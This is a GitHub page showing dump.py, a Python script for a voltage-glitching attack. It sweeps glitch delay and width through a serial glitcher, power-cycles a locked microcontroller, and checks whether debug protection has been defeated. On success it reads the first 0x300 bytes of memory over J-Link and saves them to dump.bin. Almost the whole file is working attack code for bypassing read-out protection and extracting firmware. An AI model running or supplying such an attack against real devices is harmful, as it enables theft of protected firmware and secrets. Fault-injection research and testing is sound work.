-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathdump.py
52 lines (48 loc) · 1.52 KB
/
dump.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import pylink
import serial
import time
from common import init, isunlocked
def dump():
jlink = None
try:
jlink = init()
except:
print('Device is locked.')
return False
bs = bytes(jlink.memory_read(0x0, 0x300))
with open('dump.bin', 'wb') as f:
f.write(bs)
print('Written dump to dump.bin')
glitcher = serial.Serial('/dev/ttyACM0', 115200)
while True:
for delay in range(14800, 14820, 2):
for width in range(10,30,1):
print('Disabling target power')
glitcher.write(b'l ')
resp = glitcher.read(4)
print(resp.decode('ascii')[0:2])
time.sleep(0.1)
print('write {} delay'.format(delay))
glitcher.write('d{:08}'.format(delay).encode('ascii'))
resp = glitcher.read(4)
print(resp.decode('ascii')[0:2])
print('write {} width'.format(width))
glitcher.write('w{:08}'.format(width).encode('ascii'))
resp = glitcher.read(4)
print(resp.decode('ascii')[0:2])
time.sleep(0.1)
print('glitch')
glitcher.write(b'g ')
resp = glitcher.read(4)
print(resp.decode('ascii')[0:2])
time.sleep(0.1)
if isunlocked():
print('Success :)')
dump()
exit(0)
# glitcher.write(b'h ')
print('Disabling target power')
glitcher.write(b'l ')
resp = glitcher.read(4)
print(resp.decode('ascii')[0:2])
exit(1)